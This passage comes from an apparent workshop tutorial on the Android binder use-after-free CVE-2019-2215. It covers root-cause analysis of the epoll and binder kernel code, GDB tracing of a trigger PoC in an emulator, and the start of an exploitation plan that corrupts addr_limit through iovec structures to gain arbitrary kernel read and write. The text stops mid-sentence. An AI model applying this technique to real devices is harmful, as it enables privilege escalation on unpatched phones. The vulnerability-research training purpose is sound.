ep_set_ffd\nsets epq.epi to epi pointer\nsets epq.pt->_qproc to ep_ptable_queue_proc callback address\ncalls ep_item_poll passing epi and address of epq.pt (poll table) as arguments\nfinally, links epitem structure to eventpoll structure's red black tree root node by calling ep_rbtree_insert function\n\nLet's follow ep_item_poll and find out what it does.\nstatic inline unsigned int ep_item_poll(struct epitem *epi, poll_table *pt)\n{\n pt->_key = epi->event.events;\n\n return epi->ffd.file->f_op->poll(epi->ffd.file, pt) & epi->event.events;\n}\n\n\ncalls poll function in the binder's file structure f_op->poll passing binder's file structure pointer and poll_table pointer\n\n\nNote: Now, we are jumping to binder subsystem from epoll subsystem.\n\nLet's open workshop/android-4.14-dev/goldfish/drivers/android/binder.c and see how poll system call is implemented.\nstatic const struct file_operations binder_fops = {\n [...]\n .poll = binder_poll,\n [...]\n};\n\nWe see that poll system call is handled by binder_poll function.\nLet's follow binder_poll function and find out what it does.\nstatic unsigned int binder_poll(struct file *filp,\n struct poll_table_struct *wait)\n{\n struct binder_proc *proc = filp->private_data;\n struct binder_thread *thread = NULL;\n [...]\n thread = binder_get_thread(proc);\n if (!thread)\n return POLLERR;\n [...]\n poll_wait(filp, &thread->wait, wait);\n [...]\n return 0;\n}\n\n\ngets the pointer to binder_proc structure from filp->private_data\ncalls binder_get_thread passing binder_proc structure pointer\nfinally calls poll_wait passing binder's file structure pointer, &thread->wait which is wait_queue_head_t pointer and poll_table_struct pointer\n\nLet's first follow binder_get_thread and find out what it does. After that we will follow poll_wait function.\nstatic struct binder_thread *binder_get_thread(struct binder_proc *proc)\n{\n struct binder_thread *thread;\n struct binder_thread *new_thread;\n [...]\n thread = binder_get_thread_ilocked(proc, NULL);\n [...]\n if (!thread) {\n new_thread = kzalloc(sizeof(*thread), GFP_KERNEL);\n [...]\n thread = binder_get_thread_ilocked(proc, new_thread);\n [...]\n }\n return thread;\n}\n\n\ntries to get the binder_thread if present in proc->threads.rb_node by calling binder_get_thread_ilocked\nelse it allocates a binder_thread structure\nfinally calls binder_get_thread_ilocked again, which initializes the newly allocated binder_thread structure and link it to the proc->threads.rb_node member which is basically a red black tree node\n\nIf you see the call graph in Allocation section, you will find that this is where the binder_thread structure is allocated.\nNow, let's follow poll_wait function and find out what it does.\nstatic inline void poll_wait(struct file * filp, wait_queue_head_t * wait_address, poll_table *p)\n{\n if (p && p->_qproc && wait_address)\n p->_qproc(filp, wait_address, p);\n}\n\n\ncalls the callback function assigned to p->_qproc passing binder's file structure pointer, wait_queue_head_t pointer and poll_table pointer\n\nIf you go up and see ep_insert function, you will see that p->_qproc was set to ep_ptable_queue_proc function's address.\n\nNote: Now, we are jumping back to epoll subsystem from binder subsystem.\n\nLet's open workshop/android-4.14-dev/goldfish/fs/eventpoll.c and try to understand what ep_ptable_queue_proc function does.\n/*\n * This is the callback that is used to add our wait queue to the\n * target file wakeup lists.\n */\nstatic void ep_ptable_queue_proc(struct file *file, wait_queue_head_t *whead,\n poll_table *pt)\n{\n struct epitem *epi = ep_item_from_epqueue(pt);\n struct eppoll_entry *pwq;\n\n if (epi->nwait >= 0 && (pwq = kmem_cache_alloc(pwq_cache, GFP_KERNEL))) {\n init_waitqueue_func_entry(&pwq->wait, ep_poll_callback);\n pwq->whead = whead;\n pwq->base = epi;\n if (epi->event.events & EPOLLEXCLUSIVE)\n add_wait_queue_exclusive(whead, &pwq->wait);\n else\n add_wait_queue(whead, &pwq->wait);\n list_add_tail(&pwq->llink, &epi->pwqlist);\n epi->nwait++;\n } else {\n /* We have to signal that an error occurred */\n epi->nwait = -1;\n }\n}\n\n\ngets pointer to epitem structure from poll_table by calling ep_item_from_epqueue function\nallocates eppoll_entry structure and initializes it members\nsets whead member of eppoll_entry structure to the pointer to wait_queue_head_t structure passed by binder_poll, which is basically the pointer to binder_thread->wait\nlinks whead (binder_thread->wait) to eppoll_entry->wait by calling add_wait_queue\nfinally eppoll_entry->llink is linked to epitem->pwqlist by calling list_add_tail\n\n\nNote: If you look at the code, you will notice that there are two places which holds the reference to binder_thread->wait. First reference is stored in eppoll_entry->wait and the second reference is stored in eppoll_entry->whead.\n\nLet's see how struct eppoll_entry is defined.\nstruct eppoll_entry {\n /* List header used to link this structure to the \"struct epitem\" */\n struct list_head llink;\n\n /* The \"base\" pointer is set to the container \"struct epitem\" */\n struct epitem *base;\n\n /*\n * Wait queue item that will be linked to the target file wait\n * queue head.\n */\n wait_queue_entry_t wait;\n\n /* The wait queue head that linked the \"wait\" wait queue item */\n wait_queue_head_t *whead;\n};\n\nBelow given diagram is the simplified call graph of how binder_thread structure is allocated and gets linked to epoll subsystem.\n\n \n\n\n\nBelow given diagram shows how eventpoll structure is connected with binder_thread structure.\n\n \n\n\n\nioctl \nioctl(fd, BINDER_THREAD_EXIT, NULL);\n\nLet's open workshop/android-4.14-dev/goldfish/drivers/android/binder.c and see how ioctl system call is implemented.\nstatic const struct file_operations binder_fops = {\n [...]\n .unlocked_ioctl = binder_ioctl,\n .compat_ioctl = binder_ioctl,\n [...]\n};\nWe see that unlocked_ioctl and compat_ioctl system call is handled by binder_ioctl function.\nLet's follow binder_ioctl function and see how it handles BINDER_THREAD_EXIT request.\nstatic long binder_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)\n{\n int ret;\n struct binder_proc *proc = filp->private_data;\n struct binder_thread *thread;\n unsigned int size = _IOC_SIZE(cmd);\n void __user *ubuf = (void __user *)arg;\n [...]\n thread = binder_get_thread(proc);\n [...]\n switch (cmd) {\n [...]\n case BINDER_THREAD_EXIT:\n [...]\n binder_thread_release(proc, thread);\n thread = NULL;\n break;\n [...]\n default:\n ret = -EINVAL;\n goto err;\n }\n ret = 0;\n [...]\n return ret;\n}\n\n\ngets the pointer to binder_thread structure from binder_proc structure\ncalls binder_thread_release function passing pointers to binder_proc and binder_thread structures as the parameters\n\nLet's follow binder_thread_release and find out what it does.\nstatic int binder_thread_release(struct binder_proc *proc,\n struct binder_thread *thread)\n{\n [...]\n int active_transactions = 0;\n [...]\n binder_thread_dec_tmpref(thread);\n return active_transactions;\n}\n\n\nNote: Remember, we had applied a custom patch in this function itself to reintroduce the vulnerability.\n\n\ninteresting part of this function is that, it calls the binder_thread_dec_tmpref function passing pointer to binder_thread structure\n\nLet's follow binder_thread_dec_tmpref and find out what it does.\nstatic void binder_thread_dec_tmpref(struct binder_thread *thread)\n{\n [...]\n if (thread->is_dead && !atomic_read(&thread->tmp_ref)) {\n [...]\n binder_free_thread(thread);\n return;\n }\n [...]\n}\n\n\ncalls binder_free_thread function passing pointer to binder_thread structure\n\nLet's follow binder_free_thread and find out what it does.\nstatic void binder_free_thread(struct binder_thread *thread)\n{\n [...]\n kfree(thread);\n}\n\n\ncalls kfree function which frees the kernel heap chunk storing binder_thread structure\n\nIf you see the call graph in Free section, you will find that this is where the binder_thread structure is freed.\nep_remove \nIf you see the call graph in Use section, you will find that ep_unregister_pollwait function is called when exit_group system call is executed. exit_group is usually called when the process exits. We would want to trigger the call to ep_unregister_pollwait at will during exploitation.\nLet's look at workshop/android-4.14-dev/goldfish/fs/eventpoll.c and try to figure out how we can call ep_unregister_pollwait function at will. Basically, we want to inspect the callers of ep_unregister_pollwait function.\nLooking at the code, I found two interesting callers functions ep_remove and ep_free. But ep_remove is a good candidate because can be called by epoll_ctl system call passing EPOLL_CTL_DEL as the operation parameter.\nSYSCALL_DEFINE4(epoll_ctl, int, epfd, int, op, int, fd,\n struct epoll_event __user *, event)\n{\n [...]\n struct eventpoll *ep;\n struct epitem *epi;\n [...]\n error = -EINVAL;\n switch (op) {\n [...]\n case EPOLL_CTL_DEL:\n if (epi)\n error = ep_remove(ep, epi);\n else\n error = -ENOENT;\n break;\n [...]\n }\n [...]\n return error;\n}\n\nThe below given line of code can trigger ep_unregister_pollwait function at will.\nepoll_ctl(epfd, EPOLL_CTL_DEL, fd, &event);\n\nLet's follow ep_remove function find out what it does.\nstatic int ep_remove(struct eventpoll *ep, struct epitem *epi)\n{\n [...]\n ep_unregister_pollwait(ep, epi);\n [...]\n return 0;\n}\n\n\ncalls ep_unregister_pollwait function passing pointers to eventpoll and epitem structures as the parameters\n\nLet's follow ep_unregister_pollwait function find out what it does.\nstatic void ep_unregister_pollwait(struct eventpoll *ep, struct epitem *epi)\n{\n struct list_head *lsthead = &epi->pwqlist;\n struct eppoll_entry *pwq;\n\n while (!list_empty(lsthead)) {\n pwq = list_first_entry(lsthead, struct eppoll_entry, llink);\n [...]\n ep_remove_wait_queue(pwq);\n [...]\n }\n}\n\n\ngets the poll wait queue list_head structure pointer from epi->pwqlist.\ngets the pointer eppoll_entry from the epitem->llink member which of type struct list_head\ncalls ep_remove_wait_queue passing pointer to eppoll_entry as the parameter\n\nLet's follow ep_remove_wait_queue function find out what it does.\nstatic void ep_remove_wait_queue(struct eppoll_entry *pwq)\n{\n wait_queue_head_t *whead;\n [...]\n whead = smp_load_acquire(&pwq->whead);\n if (whead)\n remove_wait_queue(whead, &pwq->wait);\n [...]\n}\n\n\ngets pointer to wait_queue_head_t from eppoll_entry->whead\ncalls remove_wait_queue function passing pointers to wait_queue_head_t and eppoll_entry->wait as the parameters\n\n\nNote: eppoll_entry->whead and eppoll_entry->wait both has references to the dangling binder_thread structure.\n\nLet's open workshop/android-4.14-dev/goldfish/kernel/sched/wait.c and follow remove_wait_queue function to figure out what it does.\nvoid remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry)\n{\n unsigned long flags;\n\n spin_lock_irqsave(&wq_head->lock, flags);\n __remove_wait_queue(wq_head, wq_entry);\n spin_unlock_irqrestore(&wq_head->lock, flags);\n}\n\n\ncalls spin_lock_irqsave function passing pointer wait_queue_head->lock to acquire lock\n\n\nNote: If you look at stack trace in Use section, you will see that the crash occurred because _raw_spin_lock_irqsave used the dangling chunk. This is exactly the same place where the use of the dangling chunk happened for the first time. Remember wait_queue_entry also contains the references to the dangling chunk.\n\n\ncalls __remove_wait_queue function passing pointers to wait_queue_head and wait_queue_entry structures as the parameters\n\nLet's open workshop/android-4.14-dev/goldfish/include/linux/wait.h and follow __remove_wait_queue function to figure out what it does.\nstatic inline void\n__remove_wait_queue(struct wait_queue_head *wq_head, struct wait_queue_entry *wq_entry)\n{\n list_del(&wq_entry->entry);\n}\n\n\ncalls list_del function passing pointer to wait_queue_entry->entry which is of type struct list_head as the parameter\n\n\nNote: wait_queue_head is ignored and not used afterwards.\n\nLet's open workshop/android-4.14-dev/goldfish/include/linux/list.h and follow list_del function to figure out what it does.\nstatic inline void list_del(struct list_head *entry)\n{\n __list_del_entry(entry);\n [...]\n}\n\nstatic inline void __list_del_entry(struct list_head *entry)\n{\n [...]\n __list_del(entry->prev, entry->next);\n}\n\nstatic inline void __list_del(struct list_head * prev, struct list_head * next)\n{\n next->prev = prev;\n WRITE_ONCE(prev->next, next);\n}\n\nThis is basically unlink operation and will write a pointer to binder_thread->wait.head to binder_thread->wait.head.next and binder_thread->wait.head.prev, basically unlink eppoll_entry->wait.entry from binder_thread->wait.head.\nThis is a much better primitive from the point of view of exploitation than the first use of dangling chunk.\nBelow given diagrams shows how circular double linked list works so that you have better picture of what's really happening.\nLet's see how a single initialized node node1 looks like. In out context, node1 is binder_thread->wait.head and node2 is eppoll_entry->wait.entry.\n\n \n\n\nNow, let's see how two nodes node1 and node2 are linked.\n\n \n\n\nNow, let's see how node1 node looks like when node2 node is linked.\n\n \n\n\n\nStatic Analysis Recap \nLet's do a recap of what we understood from the root cause analysis section.\nIn the beginning of the Static Analysis section we asked three questions, let's try to answer those.\n\nWhy binder_thread structure was allocated?\nep_insert function triggers the call to binder_poll by calling ep_item_poll function\nbinder_poll tries to find a thread to use from the red black tree node and if it's not found, a new binder_thread structure is allocated\n\n\n\n\nWhy binder_thread structure was freed?\nbinder_thread structure is freed when ioctl system call is called explicitly, passing BINDER_THREAD_EXIT as the operation code\n\n\n\n\nWhy the use of binder_thread structure happened when it's already freed?\npointer to binder_thread->wait.head is not removed from eppoll_entry->whead and eppoll_entry->wait.entry when binder_thread structure is freed explicitly\nwhen the eventpoll is removed by calling epoll_ctl and passing EPOLL_CTL_DEL as the operation parameter, it tries to unlink all the wait queues and uses the dangling binder_thread structure\n\n\n\nDynamic Analysis \nIn this section, we will look into how we can use GDB automation to understand the crash behavior.\nBut before we start doing that, we need to make a hardware changes to the Android Virtual Device named CVE-2019-2215 we created in Android Virtual Device section.\nWe also need to build the Android Kernel without KASan, because we don't need the KASan support now.\nhw.cpu.ncore \nFor better GDB debugging and tracing support, it's recommended to set the number of CPU cores to 1.\nOpen ~/.android/avd/CVE-2019-2215.avd/config.ini in a text editor and change line hw.cpu.ncore = 4 to hw.cpu.ncore = 1.\nBuild Kernel Without KASan \nThis section is exactly same as Build Kernel With KASan, but this time, we will use a different config file.\nYou will find the config file in workshop/build-configs/goldfish.x86_64.relwithdebinfo directory.\nARCH=x86_64\nBRANCH=relwithdebinfo\n\nCC=clang\nCLANG_PREBUILT_BIN=prebuilts-master/clang/host/linux-x86/clang-r377782b/bin\nBUILDTOOLS_PREBUILT_BIN=build/build-tools/path/linux-x86\nCLANG_TRIPLE=x86_64-linux-gnu-\nCROSS_COMPILE=x86_64-linux-androidkernel-\nLINUX_GCC_CROSS_COMPILE_PREBUILTS_BIN=prebuilts/gcc/linux-x86/x86/x86_64-linux-android-4.9/bin\n\nKERNEL_DIR=goldfish\nEXTRA_CMDS=''\nSTOP_SHIP_TRACEPRINTK=1\n\nFILES=\"\narch/x86/boot/bzImage\nvmlinux\nSystem.map\n\"\n\nDEFCONFIG=x86_64_ranchu_defconfig\nPOST_DEFCONFIG_CMDS=\"check_defconfig && update_debug_config\"\n\nfunction update_debug_config() {\n ${KERNEL_DIR}/scripts/config --file ${OUT_DIR}/.config \\\n -e CONFIG_FRAME_POINTER \\\n -e CONFIG_DEBUG_INFO \\\n -d CONFIG_DEBUG_INFO_REDUCED \\\n -d CONFIG_KERNEL_LZ4 \\\n -d CONFIG_RANDOMIZE_BASE\n (cd ${OUT_DIR} && \\\n make O=${OUT_DIR} $archsubarch CROSS_COMPILE=${CROSS_COMPILE} olddefconfig)\n}\n\nNow, let's use this config file and start the build process.\nashfaq@hacksys:~/workshop/android-4.14-dev$ BUILD_CONFIG=../build-configs/goldfish.x86_64.relwithdebinfo build/build.sh\n\nKernel Tracing \nOur goal is to use GDB python breakpoint automation to trace function calls and dump the binder_thread structure chunk before and after it's freed. Also dump the same binder_thread structure before and after the unlink operation has been done.\nYou can find a python file ~/workshop/gdb/dynamic-analysis.py, where I have written some debugging automation to debug this vulnerability at runtime.\nLet's boot emulator with the newly built kernel. \n\nNote: The patch to reintroduce the vulnerability is already applied.\n\nWe need four terminal windows this time. Open the first terminal window and launch emulator.\nashfaq@hacksys:~/workshop$ emulator -show-kernel -no-snapshot -wipe-data -avd CVE-2019-2215 -kernel ~/workshop/android-4.14-dev/out/relwithdebinfo/dist/bzImage -qemu -s -S\n\nIn the second window, we will use GDB to attach to the qemu instance.\nashfaq@hacksys:~/workshop$ gdb -quiet ~/workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux -ex 'target remote :1234'\n\nGEF for linux ready, type `gef' to start, `gef config' to configure\n77 commands loaded for GDB 8.2 using Python engine 2.7\n[*] 3 commands could not be loaded, run `gef missing` to know why.\nReading symbols from /home/ashfaq/workshop/android-4.14-dev/out/kasan/dist/vmlinux...done.\nRemote debugging using :1234\nwarning: while parsing target description (at line 1): Could not load XML document \"i386-64bit.xml\"\nwarning: Could not load XML target description; ignoring\n0x000000000000fff0 in exception_stacks ()\ngef> c\nContinuing.\nOnce the Android is booted completely, open the third terminal window and where we will build the vulnerability trigger and push it to the virtual device.\nashfaq@hacksys:~/workshop$ cd exploit/\nashfaq@hacksys:~/workshop/exploit$ NDK_ROOT=~/Android/Sdk/ndk/21.0.6113669 make build-trigger push-trigger\nBuilding: cve-2019-2215-trigger\nPushing: cve-2019-2215-trigger to /data/local/tmp\ncve-2019-2215-trigger: 1 file pushed, 0 skipped. 44.8 MB/s (3958288 bytes in 0.084s)\n\nNow, in the GDB window press CTRL+C to break in GDB so that we can load the custom python script.\nYou can find dynamic-analysis.py which is an automation built on top of GDB python scripting in workshop/gdb.\ngef> c\nContinuing.\n^C\nProgram received signal SIGINT, Interrupt.\nnative_safe_halt () at /home/ashfaq/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61\n61 }\ngef> source ~/workshop/gdb/dynamic-analysis.py\nBreakpoint 1 at 0xffffffff80824047: file /home/ashfaq/workshop/android-4.14-dev/goldfish/drivers/android/binder.c, line 4701.\nBreakpoint 2 at 0xffffffff802aa586: file /home/ashfaq/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 50.\ngef> c\nContinuing.\nNow, we can open the fourth terminal window, launch adb shell and run the trigger PoC.\nashfaq@hacksys:~/workshop/exploit$ adb shell\ngeneric_x86_64:/ $ cd /data/local/tmp\ngeneric_x86_64:/data/local/tmp $ ./cve-2019-2215-trigger\ngeneric_x86_64:/data/local/tmp $\n\nAs soon as you execute the trigger PoC, you will see this in the GDB terminal window. \nbinder_free_thread(thread=0xffff88800c18f200)(enter)\n0xffff88800c18f200: 0xffff88806793c000 0x0000000000000001\n0xffff88800c18f210: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f220: 0xffff88800c18f220 0xffff88800c18f220\n0xffff88800c18f230: 0x0000002000001b35 0x0000000000000001\n0xffff88800c18f240: 0x0000000000000000 0xffff88800c18f248\n0xffff88800c18f250: 0xffff88800c18f248 0x0000000000000000\n0xffff88800c18f260: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f270: 0x0000000000000003 0x0000000000007201\n0xffff88800c18f280: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f290: 0x0000000000000003 0x0000000000007201\n0xffff88800c18f2a0: 0x0000000000000000 0xffff88805c05cae0\n0xffff88800c18f2b0: 0xffff88805c05cae0 0x0000000000000000\n0xffff88800c18f2c0: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f2d0: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f2e0: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f2f0: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f300: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f310: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f320: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f330: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f340: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f350: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f360: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f370: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f380: 0x0000000000000000 0x0000000000000001\n0xffff88800c18f390: 0xffff88806d4bb200\n\nremove_wait_queue(wq_head=0xffff88800c18f2a0, wq_entry=0xffff88805c05cac8)(enter)\n0xffff88800c18f200: 0xffff88800c18f600 0x0000000000000001\n0xffff88800c18f210: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f220: 0xffff88800c18f220 0xffff88800c18f220\n0xffff88800c18f230: 0x0000002000001b35 0x0000000000000001\n0xffff88800c18f240: 0x0000000000000000 0xffff88800c18f248\n0xffff88800c18f250: 0xffff88800c18f248 0x0000000000000000\n0xffff88800c18f260: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f270: 0x0000000000000003 0x0000000000007201\n0xffff88800c18f280: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f290: 0x0000000000000003 0x0000000000007201\n0xffff88800c18f2a0: 0x0000000000000000 0xffff88805c05cae0\n0xffff88800c18f2b0: 0xffff88805c05cae0 0x0000000000000000\n0xffff88800c18f2c0: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f2d0: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f2e0: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f2f0: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f300: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f310: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f320: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f330: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f340: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f350: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f360: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f370: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f380: 0x0000000000000000 0x0000000000000001\n0xffff88800c18f390: 0xffff88806d4bb200\n\nBreakpoint 3 at 0xffffffff802aa5be: file /home/ashfaq/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53.\nremove_wait_queue_wait.c:52(exit)\n0xffff88800c18f200: 0xffff88800c18f600 0x0000000000000001\n0xffff88800c18f210: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f220: 0xffff88800c18f220 0xffff88800c18f220\n0xffff88800c18f230: 0x0000002000001b35 0x0000000000000001\n0xffff88800c18f240: 0x0000000000000000 0xffff88800c18f248\n0xffff88800c18f250: 0xffff88800c18f248 0x0000000000000000\n0xffff88800c18f260: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f270: 0x0000000000000003 0x0000000000007201\n0xffff88800c18f280: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f290: 0x0000000000000003 0x0000000000007201\n0xffff88800c18f2a0: 0x0000000000000000 0xffff88800c18f2a8\n0xffff88800c18f2b0: 0xffff88800c18f2a8 0x0000000000000000\n0xffff88800c18f2c0: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f2d0: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f2e0: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f2f0: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f300: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f310: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f320: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f330: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f340: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f350: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f360: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f370: 0x0000000000000000 0x0000000000000000\n0xffff88800c18f380: 0x0000000000000000 0x0000000000000001\n0xffff88800c18f390: 0xffff88806d4bb200\nNow, let's analyze the output and try to understand what's happening.\nIf you remember, binder_free_thread is the function that will eventually free the binder_thread structure.\nAfter free and before the unlink operation happens on binder_thread structure.\n0xffff88800c18f2a0: 0x0000000000000000 0xffff88805c05cae0\n0xffff88800c18f2b0: 0xffff88805c05cae0 0x0000000000000000\n0xffff88800c18f2a0 + 0x8 is the offset of binder_thread->wait.head which links eppoll_entry->wait.entry.\ngef> p offsetof(struct binder_thread, wait.head)\n$1 = 0xa8\n0xffff88805c05cae0 is pointer to eppoll_entry->wait.entry which is of type struct list_head.\nAfter the unlink operation happened on binder_thread structure.\n0xffff88800c18f2a0: 0x0000000000000000 0xffff88800c18f2a8\n0xffff88800c18f2b0: 0xffff88800c18f2a8 0x0000000000000000\nIf you see closely, after the unlink operation happened, a pointer to binder_thread->wait.head is written to binder_thread->wait.head.next and binder_thread->wait.head.prev.\nThis is exactly what we figured out in the Static Analysis section.\n"},"chapters/exploitation.html":{"url":"chapters/exploitation.html","title":"Exploitation","keywords":"","body":"Exploitation\nIn Root Cause Analysis section we understood the vulnerability and why it happened.\nWe know that there are two places where the use of dangling binder_thread structure chunk happens. \nThe first use happen when remove_wait_qeue function tries to acquire the spin lock. However, it is not so much interesting from the point of view of exploitation.\nThe second use happens in the internal function __remove_wait_queue where it tries to unlink the poll wait queue. This is very interesting from the point of view of exploitation as we get a primitive where we can write pointer to binder_thread->wait.head to binder_thread->wait.head.next and binder_thread->wait.head.prev on a dangling chunk.\nLet's revisit the struct binder_thread which is defined in workshop/android-4.14-dev/goldfish/drivers/android/binder.c.\nstruct binder_thread {\n struct binder_proc *proc;\n struct rb_node rb_node;\n struct list_head waiting_thread_node;\n int pid;\n int looper; /* only modified by this thread */\n bool looper_need_return; /* can be written by other thread */\n struct binder_transaction *transaction_stack;\n struct list_head todo;\n bool process_todo;\n struct binder_error return_error;\n struct binder_error reply_error;\n wait_queue_head_t wait;\n struct binder_stats stats;\n atomic_t tmp_ref;\n bool is_dead;\n struct task_struct *task;\n};\n\nIf you look closely, you will notice that pointer to struct task_struct is also a member of this binder_thread structure.\nIf somehow we can leak this, we will know where the task_struct of the current process is.\n\nNote: Read more about task_struct structure and Linux privilege escalation in Linux Privilege Escalation section.\n\nNow, let's see how we can exploit this vulnerability. As the exploit mitigations are increasing day by day, it's very important to build better primitives.\nPrimitive \ntask_struct structure has an important member addr_limit of type mm_segment_t. addr_limit stores the highest valid user space address.\naddr_limit is part of struct thread_info or struct thread_struct depending on the target architecture. As we are now dealing with x86_64 bit system, addr_limit is defined in struct thread_struct and it's part of task_struct structure.\nTo understand more about addr_limit, let's see the prototype of read and write system call.\nssize_t read(int fd, void *buf, size_t count);\nssize_t write(int fd, const void *buf, size_t count);\n\nread, write, etc., system call can pass a pointer to user space address to system functions. This is where addr_limit comes into picture. These system functions use access_ok function to validate if the passed address is really a user space address and it's accessible.\nAs we are on x86_64 bit system at the moment, let's open workshop/android-4.14-dev/goldfish/arch/x86/include/asm/uaccess.h and see how access_ok is defined.\n#define access_ok(type, addr, size) \\\n({ \\\n WARN_ON_IN_IRQ(); \\\n likely(!__range_not_ok(addr, size, user_addr_max())); \\\n})\n\n#define user_addr_max() (current->thread.addr_limit.seg)\n\nAs you can see user_addr_max uses current->thread.addr_limit.seg for validation. If we can clobber this addr_limit with 0xFFFFFFFFFFFFFFFF, we will be able to read and write to any part of the kernel space memory.\n\nNote: Vitaly Nikolenko (@vnik5287) pointed out that in arm64 there is a check in do_page_fault function which will crash the process if the addr_limit is set to 0xFFFFFFFFFFFFFFFF. I did all of my tests on x86_64 system so did not notice that in the beginning.\n\nLet's open workshop/android-4.14-dev/goldfish/arch/arm64/mm/fault.c and investigate do_page_fault function.\nstatic int __kprobes do_page_fault(unsigned long addr, unsigned int esr,\n struct pt_regs *regs)\n{\n struct task_struct *tsk;\n struct mm_struct *mm;\n int fault, sig, code, major = 0;\n unsigned long vm_flags = VM_READ | VM_WRITE;\n unsigned int mm_flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;\n [...]\n if (is_ttbr0_addr(addr) && is_permission_fault(esr, regs, addr)) {\n /* regs->orig_addr_limit may be 0 if we entered from EL0 */\n if (regs->orig_addr_limit == KERNEL_DS)\n die(\"Accessing user space memory with fs=KERNEL_DS\", regs, esr);\n [...]\n }\n [...]\n return 0;\n}\n\n\nchecks if orig_addr_limit == KERNEL_DS then it will crash, basically KERNEL_DS = 0xFFFFFFFFFFFFFFFF\n\nFor the better compatibility of the exploit on x86_64 and arm64, it's better to set addr_limit to 0xFFFFFFFFFFFFFFFE.\nUsing this vulnerability, we would like to corrupt addr_limit to upgrade our simple primitive to more powerful primitive called Arbitrary Read Write primitive. \nArbitrary Read Write primitives are also called as data only attacks. Where we do not hijack the execution flow of the CPU and just corrupt targeted data structures to achieve privilege escalation. \nCorruption Target \nWe are going to use struct iovec as the corruption target as used by Maddie Stone and Jann Horn of Project Zero. The use of struct iovec was first published by Di Shen of KeenLab.\nstruct iovec is used for Vectored I/O also know as Scatter/Gather I/O.\nVectored I/O is used to read data to a single buffer from multiple buffers and write data from single buffer to multiple buffers. This is used to reduce the overhead associated with multiple system calls if we want to read and write to multiple buffers using read or write system call.\nIn Linux, Vectored I/O is achieved using iovec structure and system calls like readv, writev, recvmsg, sendmsg, etc.\nLet's see how struct iovec is defined in workshop/android-4.14-dev/goldfish/include/uapi/linux/uio.h.\nstruct iovec\n{\n void __user *iov_base; /* BSD uses caddr_t (1003.1g requires void *) */\n __kernel_size_t iov_len; /* Must be size_t (1003.1g) */\n};\n\nTo better understand Vectored I/O, and how iovec works let's see the below given diagram.\n\n \n\n\nAdvantages of struct iovec\n\nsmall in size, on x64 bit system it's size is 0x10 bytes\nwe can control all the members iov_base and iov_len\nwe can stack them together to control desired kmalloc cache\nit has a pointer to buffer and length of the buffer, which is a great target for corruption\n\nOne of the main issue with struct iovec is that they are short lived. They are allocated by system calls when they are working with the buffers and immediately freed when they return to user mode.\nWe want the iovec structure to stay in kernel when we trigger the unlink operation and overwrite the iov_base pointer with the address of binder_thread->wait.head to gain scoped read and write.\n\nNote: We are on Android 4.14 kernel, however, Project Zero guys wrote the exploit for Android 4.4 kernel which does not have additional access_ok checks in lib/iov_iter.c. So, we had already applied the patch to revert those additional checks which would prevents us from leaking kernel space memory chunk.\n\nHow do we make iovec structure stay in kernel before we trigger the unlink operation?\nOne way is to use system calls like readv, writev on a pipe file descriptor because it can block if the pipe is full or empty.\npipe is an unidirectional data channel that can be used for interprocess communication. The blocking feature of pipe gives us significant time window to corrupt iovec structure in kernel space.\nIn the same manner we can use recvmsg system call to block by passing MSG_WAITALL as the flag parameter.\nLet's dig into writev system call and figure out how it uses iovec structure. Let's open workshop/android-4.14-dev/goldfish/fs/read_write.c and look into the implementation.\nSYSCALL_DEFINE3(writev, unsigned long, fd, const struct iovec __user *, vec,\n unsigned long, vlen)\n{\n return do_writev(fd, vec, vlen, 0);\n}\n\nstatic ssize_t do_writev(unsigned long fd, const struct iovec __user *vec,\n unsigned long vlen, rwf_t flags)\n{\n struct fd f = fdget_pos(fd);\n ssize_t ret = -EBADF;\n\n if (f.file) {\n [...]\n ret = vfs_writev(f.file, vec, vlen, &pos, flags);\n [...]\n }\n [...]\n return ret;\n}\n\nstatic ssize_t vfs_writev(struct file *file, const struct iovec 